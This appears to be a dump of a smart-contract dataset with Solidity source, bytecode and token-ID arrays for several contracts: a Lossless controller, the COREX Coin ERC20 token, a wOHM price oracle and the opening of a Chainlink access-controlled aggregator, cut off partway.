event RecoveryAdminChanged(address indexed previousAdmin, address indexed newAdmin);
event PauseAdminChanged(address indexed previousAdmin, address indexed newAdmin);
// --- V2 EVENTS ---
event GuardianSet(address indexed oldGuardian, address indexed newGuardian);
event ProtectedAddressSet(address indexed token, address indexed protectedAddress, address indexed strategy);
event RemovedProtectedAddress(address indexed token, address indexed protectedAddress);
// --- MODIFIERS ---
modifier onlyLosslessRecoveryAdmin() {
require(msg.sender == recoveryAdmin, "LOSSLESS: Must be recoveryAdmin");
_;
}
modifier onlyLosslessAdmin() {
require(admin == msg.sender, "LOSSLESS: Must be admin");
_;
}
modifier onlyPauseAdmin() {
require(msg.sender == pauseAdmin, "LOSSLESS: Must be pauseAdmin");
_;
}
// --- V2 MODIFIERS ---
modifier onlyGuardian() {
require(msg.sender == guardian, "LOSSLESS: Must be Guardian");
_;
}
// --- VIEWS ---
function getVersion() external pure returns (uint256) {
return 2;
}
// --- V2 VIEWS ---
function isAddressProtected(address token, address protectedAddress) external view returns (bool) {
return tokenProtections[token].protections[protectedAddress].isProtected;
}
function getProtectedAddressStrategy(address token, address protectedAddress) external view returns (address) {
return address(tokenProtections[token].protections[protectedAddress].strategy);
}
// --- ADMINISTRATION ---
function pause() external onlyPauseAdmin {
_pause();
}
function unpause() external onlyPauseAdmin {
_unpause();
}
function setAdmin(address newAdmin) external onlyLosslessRecoveryAdmin {
require(newAdmin != address(0), "LERC20: Cannot be zero address");
emit AdminChanged(admin, newAdmin);
admin = newAdmin;
}
function setRecoveryAdmin(address newRecoveryAdmin) external onlyLosslessRecoveryAdmin {
require(newRecoveryAdmin != address(0), "LERC20: Cannot be zero address");
emit RecoveryAdminChanged(recoveryAdmin, newRecoveryAdmin);
recoveryAdmin = newRecoveryAdmin;
}
function setPauseAdmin(address newPauseAdmin) external onlyLosslessRecoveryAdmin {
require(newPauseAdmin != address(0), "LERC20: Cannot be zero address");
emit PauseAdminChanged(pauseAdmin, newPauseAdmin);
pauseAdmin = newPauseAdmin;
}
// --- GUARD ---
// @notice Set a guardian contract.
// @dev Guardian contract must be trusted as it has some access rights and can modify controller's state.
function setGuardian(address newGuardian) external onlyLosslessAdmin whenNotPaused {
require(newGuardian != address(0), "LSS: Cannot be zero address");
emit GuardianSet(guardian, newGuardian);
guardian = newGuardian;
}
// @notice Sets protection for an address with the choosen strategy.
// @dev Strategies are verified in the guardian contract.
// @dev This call is initiated from a strategy, but guardian proxies it.
function setProtectedAddress(address token, address protectedAddresss, ProtectionStrategy strategy) external onlyGuardian whenNotPaused {
Protection storage protection = tokenProtections[token].protections[protectedAddresss];
protection.isProtected = true;
protection.strategy = strategy;
emit ProtectedAddressSet(token, protectedAddresss, address(strategy));
}
// @notice Remove the protection from the address.
// @dev Strategies are verified in the guardian contract.
// @dev This call is initiated from a strategy, but guardian proxies it.
function removeProtectedAddress(address token, address protectedAddresss) external onlyGuardian whenNotPaused {
delete tokenProtections[token].protections[protectedAddresss];
emit RemovedProtectedAddress(token, protectedAddresss);
}
// --- BEFORE HOOKS ---
// @notice If address is protected, transfer validation rules have to be run inside the strategy.
// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules.
function beforeTransfer(address sender, address recipient, uint256 amount) external {
if (tokenProtections[msg.sender].protections[sender].isProtected) {
tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount);
}
}
// @notice If address is protected, transfer validation rules have to be run inside the strategy.
// @dev isTransferAllowed reverts in case transfer can not be done by the defined rules.
function beforeTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external {
if (tokenProtections[msg.sender].protections[sender].isProtected) {
tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount);
}
}
function beforeApprove(address sender, address spender, uint256 amount) external {}
function beforeIncreaseAllowance(address msgSender, address spender, uint256 addedValue) external {}
function beforeDecreaseAllowance(address msgSender, address spender, uint256 subtractedValue) external {}
// --- AFTER HOOKS ---
// * After hooks are deprecated in LERC20 but we have to keep them
// here in order to support legacy LERC20.
function afterApprove(address sender, address spender, uint256 amount) external {}
function afterTransfer(address sender, address recipient, uint256 amount) external {}
function afterTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external {}
function afterIncreaseAllowance(address sender, address spender, uint256 addedValue) external {}
function afterDecreaseAllowance(address sender, address spender, uint256 subtractedValue) external {}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806361c1ce06116100de578063af1bf34711610097578063cf5961bb11610071578063cf5961bb146101db578063ded1f4d0146101db578063f49062ca146101db578063f851a440146102e15761018e565b8063af1bf347146102a8578063b75bb0d6146102bb578063c5a07b92146102ce5761018e565b806361c1ce0614610254578063704b6c02146102675780638456cb591461027a5780638a0dac4a14610282578063900f66ef146101db578063a56e8adf146102955761018e565b80633f4ba83a1161014b578063568c75a911610125578063568c75a9146101db5780635937f650146102245780635c975abb146102375780635f6529a31461024c5761018e565b80633f4ba83a14610214578063452a93201461021c57806347abf3be146101db5761018e565b80630d8e6e2c146101935780631ffb811f146101b15780632f11d653146101c657806334d01aa8146101db578063379f5c69146101ee5780633835b4d514610201575b600080fd5b61019b6102e9565b6040516101a89190610da3565b60405180910390f35b6101c46101bf366004610b78565b6102ee565b005b6101ce6103a5565b6040516101a89190610bb8565b6101c46101e9366004610b78565b6103a0565b6101c46101fc366004610ade565b6103b4565b6101c461020f366004610b2e565b61046c565b6101c461053d565b6101ce610571565b6101c4610232366004610a83565b610580565b61023f61062c565b6040516101a89190610bf6565b6101ce610635565b6101c4610262366004610aa6565b610644565b6101c4610275366004610a83565b6106f3565b6101c461079f565b6101c4610290366004610a83565b6107d1565b6101c46102a3366004610ade565b610466565b6101c46102b6366004610a83565b6108a2565b6101ce6102c9366004610aa6565b61094e565b61023f6102dc366004610aa6565b61097d565b6101ce6109ab565b600290565b3360009081526069602090815260408083206001600160a01b038716845290915290205460ff16156103a0573360008181526069602090815260408083206001600160a01b03888116855292529182902054915163d4bab30360e01b8152610100909204169163d4bab3039161036d9190879087908790600401610bcc565b600060405180830381600087803b15801561038757600080fd5b505af115801561039b573d6000803e3d6000fd5b505050505b505050565b6065546001600160a01b031681565b3360009081526069602090815260408083206001600160a01b038716845290915290205460ff1615610466573360008181526069602090815260408083206001600160a01b03888116855292529182902054915163d4bab30360e01b8152610100909204169163d4bab303916104339190879087908790600401610bcc565b600060405180830381600087803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050505b50505050565b6068546001600160a01b0316331461049f5760405162461bcd60e51b815260040161049690610cc7565b60405180910390fd5b6104a761062c565b156104c45760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b03838116600081815260696020908152604080832087861680855292528083208054600160ff1990911617610100600160a81b031916610100968816968702178155905190949391927f2fb7c91e605d5a69479e668b07c4c8edcdcb4ac3111a53c018a2eaf25cd088d891a450505050565b6065546001600160a01b031633146105675760405162461bcd60e51b815260040161049690610d6c565b61056f6109ba565b565b6068546001600160a01b031681565b6067546001600160a01b031633146105aa5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166105d05760405162461bcd60e51b815260040161049690610c59565b6067546040516001600160a01b038084169216907f1c7f382531621f02aefb4212478bba8871ffad078202bdbba87f3e21d639aebb90600090a3606780546001600160a01b0319166001600160a01b0392909216919091179055565b60335460ff1690565b6067546001600160a01b031681565b6068546001600160a01b0316331461066e5760405162461bcd60e51b815260040161049690610cc7565b61067661062c565b156106935760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b0380831660008181526069602090815260408083209486168084529490915280822080546001600160a81b0319169055517fa2971d1046995b3a7aa03439118589e13f8f1f3d35889ad7420b0966c5bc97819190a35050565b6067546001600160a01b0316331461071d5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166107435760405162461bcd60e51b815260040161049690610c59565b6066546040516001600160a01b038084169216907f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f90600090a3606680546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031633146107c95760405162461bcd60e51b815260040161049690610d6c565b61056f610a28565b6066546001600160a01b031633146107fb5760405162461bcd60e51b815260040161049690610d35565b61080361062c565b156108205760405162461bcd60e51b815260040161049690610c2f565b6001600160a01b0381166108465760405162461bcd60e51b815260040161049690610c90565b6068546040516001600160a01b038084169216907fc3ce29e3ab42e524b6f6f1b4d3674898d503ee3577a64ac87b555904ebc1413890600090a3606880546001600160a01b0319166001600160a01b0392909216919091179055565b6067546001600160a01b031633146108cc5760405162461bcd60e51b815260040161049690610cfe565b6001600160a01b0381166108f25760405162461bcd60e51b815260040161049690610c59565b6065546040516001600160a01b038084169216907f3e3c23bddf712ae8e73d99dd08fb2e57109143a29c9258dda76a897076e596f590600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0391821660009081526069602090815260408083209385168352929052205461010090041690565b6001600160a01b03918216600090815260696020908152604080832093909416825291909152205460ff1690565b6066546001600160a01b031681565b6109c261062c565b6109de5760405162461bcd60e51b815260040161049690610c01565b6033805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610a11610a7f565b604051610a1e9190610bb8565b60405180910390a1565b610a3061062c565b15610a4d5760405162461bcd60e51b815260040161049690610c2f565b6033805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610a115b3390565b600060208284031215610a94578081fd5b8135610a9f81610dac565b9392505050565b60008060408385031215610ab8578081fd5b8235610ac381610dac565b91506020830135610ad381610dac565b809150509250929050565b60008060008060808587031215610af3578182fd5b8435610afe81610dac565b93506020850135610b0e81610dac565b92506040850135610b1e81610dac565b9396929550929360600135925050565b600080600060608486031215610b42578283fd5b8335610b4d81610dac565b92506020840135610b5d81610dac565b91506040840135610b6d81610dac565b809150509250925092565b600080600060608486031215610b8c578283fd5b8335610b9781610dac565b92506020840135610ba781610dac565b929592945050506040919091013590565b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b901515815260200190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252601e908201527f4c45524332303a2043616e6e6f74206265207a65726f20616464726573730000604082015260600190565b6020808252601b908201527f4c53533a2043616e6e6f74206265207a65726f20616464726573730000000000604082015260600190565b6020808252601a908201527f4c4f53534c4553533a204d75737420626520477561726469616e000000000000604082015260600190565b6020808252601f908201527f4c4f53534c4553533a204d757374206265207265636f7665727941646d696e00604082015260600190565b60208082526017908201527f4c4f53534c4553533a204d7573742062652061646d696e000000000000000000604082015260600190565b6020808252601c908201527f4c4f53534c4553533a204d75737420626520706175736541646d696e00000000604082015260600190565b90815260200190565b6001600160a01b0381168114610dc157600080fd5b5056fea2646970667358221220b4d4e6342db60e940f855b162f5ddbff6f9ab71866bdbf31fe5443df9fc4b74d64736f6c63430008000033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
2549,
2546,
2620,
2683,
29292,
2683,
2497,
2094,
21057,
22610,
2050,
2509,
2546,
2692,
18139,
21084,
2683,
2575,
2278,
8889,
16086,
23499,
2629,
2278,
26976,
2575,
22025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
10061,
3206,
3988,
21335,
3468,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
7127,
2008,
1996,
3206,
2038,
2042,
3988,
3550,
1012,
1008,
1013,
22017,
2140,
2797,
1035,
3988,
3550,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
7127,
2008,
1996,
3206,
2003,
1999,
1996,
2832,
1997,
2108,
3988,
3550,
1012,
1008,
1013,
22017,
2140,
2797,
1035,
3988,
6026,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
16913,
18095,
2000,
4047,
2019,
3988,
17629,
3853,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,595 | 0x95652225e66cfef01d387d8865d800b3688b1a89 | pragma solidity ^0.4.16;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract COREXCoin is BurnableToken {
string public constant name = "COREX Coin";
string public constant symbol = "CXX";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 50000000 * 1 ether;
function COREXCoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 0x6080604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017557806323b872dd1461019c5780632ff2e9dc146101c6578063313ce567146101db57806342966c681461020957806370a082311461022357806395d89b4114610244578063a9059cbb14610259578063dd62ed3e1461027d575b600080fd5b3480156100bf57600080fd5b506100c86102a4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101025781810151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014957600080fd5b50610161600160a060020a03600435166024356102db565b604080519115158252519081900360200190f35b34801561018157600080fd5b5061018a61037e565b60408051918252519081900360200190f35b3480156101a857600080fd5b50610161600160a060020a0360043581169060243516604435610384565b3480156101d257600080fd5b5061018a610497565b3480156101e757600080fd5b506101f061049d565b6040805163ffffffff9092168252519081900360200190f35b34801561021557600080fd5b506102216004356104a2565b005b34801561022f57600080fd5b5061018a600160a060020a036004351661053f565b34801561025057600080fd5b506100c861055a565b34801561026557600080fd5b50610161600160a060020a0360043516602435610591565b34801561028957600080fd5b5061018a600160a060020a0360043581169060243516610650565b60408051808201909152600a81527f434f52455820436f696e00000000000000000000000000000000000000000000602082015281565b600081158061030d5750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561031857600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60005481565b600160a060020a0380841660009081526002602090815260408083203385168452825280832054938616835260019091528120549091906103cb908463ffffffff61067b16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610400908463ffffffff61069116565b600160a060020a038616600090815260016020526040902055610429818463ffffffff61069116565b600160a060020a038087166000818152600260209081526040808320338616845282529182902094909455805187815290519288169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b60035481565b601281565b60008082116104b057600080fd5b5033600160a060020a0381166000908152600160205260409020546104d59083610691565b600160a060020a03821660009081526001602052604081209190915554610502908363ffffffff61069116565b60009081556040518391600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59190a35050565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600381527f4358580000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0333166000908152600160205260408120546105ba908363ffffffff61069116565b600160a060020a0333811660009081526001602052604080822093909355908516815220546105ef908363ffffffff61067b16565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282018381101561068a57fe5b9392505050565b60008282111561069d57fe5b509003905600a165627a7a723058204dd91bd83f0a8830e3658212f37754d377af713e70d39df2ce01ce9704ae4e550029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
25746,
19317,
2629,
2063,
28756,
2278,
7959,
2546,
24096,
2094,
22025,
2581,
2094,
2620,
20842,
2629,
2094,
17914,
2692,
2497,
21619,
2620,
2620,
2497,
2487,
2050,
2620,
2683,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2385,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
11387,
22083,
2594,
1008,
1030,
16475,
16325,
2544,
1997,
9413,
2278,
11387,
8278,
1008,
1030,
16475,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
20311,
1008,
1013,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,596 | 0x95655B72D76370e3daE5f60768F2B96AC62ec568 | // License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IOracle.sol";
interface IwOHM {
function sOHMTowOHM( uint256 amountSOHM ) external view returns ( uint256 amountWOHM);
}
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
contract wOHMOracle is IAggregator {
IAggregator private constant ohmOracle = IAggregator(0x90c2098473852E2F07678Fe1B6d595b1bd9b16Ed);
IwOHM public constant wOHM = IwOHM(0xCa76543Cf381ebBB277bE79574059e32108e3E65);
// Calculates the lastest exchange rate
// Uses ohm rate and wOHM conversion
function latestAnswer() external view override returns (int256) {
return int256(uint256(ohmOracle.latestAnswer()) * uint256(1e18) / wOHM.sOHMTowOHM(1e9));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
| 0x608060405234801561001057600080fd5b50600436106100365760003560e01c806350d25bcd1461003b578063c3eb4ab714610056575b600080fd5b610043610096565b6040519081526020015b60405180910390f35b61007173ca76543cf381ebbb277be79574059e32108e3e6581565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161004d565b6040517f73f79c04000000000000000000000000000000000000000000000000000000008152633b9aca00600482015260009073ca76543cf381ebbb277be79574059e32108e3e65906373f79c049060240160206040518083038186803b15801561010057600080fd5b505afa158015610114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061013891906101ec565b670de0b6b3a76400007390c2098473852e2f07678fe1b6d595b1bd9b16ed73ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561019b57600080fd5b505afa1580156101af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d391906101ec565b6101dd9190610240565b6101e79190610205565b905090565b6000602082840312156101fe57600080fd5b5051919050565b60008261023b577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561029f577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b50029056fea264697066735822122096d524a6023ba17e77196c44884a7cae4a40fbaf70e52a3b981d742fa87269b564736f6c63430008070033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
26976,
24087,
2497,
2581,
2475,
2094,
2581,
2575,
24434,
2692,
2063,
29097,
6679,
2629,
2546,
16086,
2581,
2575,
2620,
2546,
2475,
2497,
2683,
2575,
6305,
2575,
2475,
8586,
26976,
2620,
1013,
1013,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1021,
1025,
12324,
1000,
1012,
1012,
1013,
19706,
1013,
22834,
22648,
2571,
1012,
14017,
1000,
1025,
8278,
1045,
12155,
14227,
1063,
3853,
2061,
14227,
18790,
11631,
2213,
1006,
21318,
3372,
17788,
2575,
8310,
11631,
2213,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
3815,
12155,
14227,
1007,
1025,
1065,
8278,
24264,
13871,
2890,
20697,
2953,
1063,
3853,
6745,
6962,
13777,
1006,
1007,
6327,
3193,
5651,
1006,
20014,
17788,
2575,
3437,
1007,
1025,
1065,
3206,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,597 | 0x9565B54d720656508B14D3d19AB45e462a01338d | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "./OffchainAggregator.sol";
import "./SimpleReadAccessController.sol";
/**
* @notice Wrapper of OffchainAggregator which checks read access on Aggregator-interface methods
*/
contract AccessControlledOffchainAggregator is OffchainAggregator, SimpleReadAccessController {
constructor(
uint32 _maximumGasPrice,
uint32 _reasonableGasPrice,
uint32 _microLinkPerEth,
uint32 _linkGweiPerObservation,
uint32 _linkGweiPerTransmission,
address _link,
int192 _minAnswer,
int192 _maxAnswer,
AccessControllerInterface _billingAccessController,
AccessControllerInterface _requesterAccessController,
uint8 _decimals,
string memory description
)
OffchainAggregator(
_maximumGasPrice,
_reasonableGasPrice,
_microLinkPerEth,
_linkGweiPerObservation,
_linkGweiPerTransmission,
_link,
_minAnswer,
_maxAnswer,
_billingAccessController,
_requesterAccessController,
_decimals,
description
) {
}
/*
* Versioning
*/
function typeAndVersion()
external
override
pure
virtual
returns (string memory)
{
return "AccessControlledOffchainAggregator 2.0.0";
}
/*
* v2 Aggregator interface
*/
/// @inheritdoc OffchainAggregator
function latestAnswer()
public
override
view
checkAccess()
returns (int256)
{
return super.latestAnswer();
}
/// @inheritdoc OffchainAggregator
function latestTimestamp()
public
override
view
checkAccess()
returns (uint256)
{
return super.latestTimestamp();
}
/// @inheritdoc OffchainAggregator
function latestRound()
public
override
view
checkAccess()
returns (uint256)
{
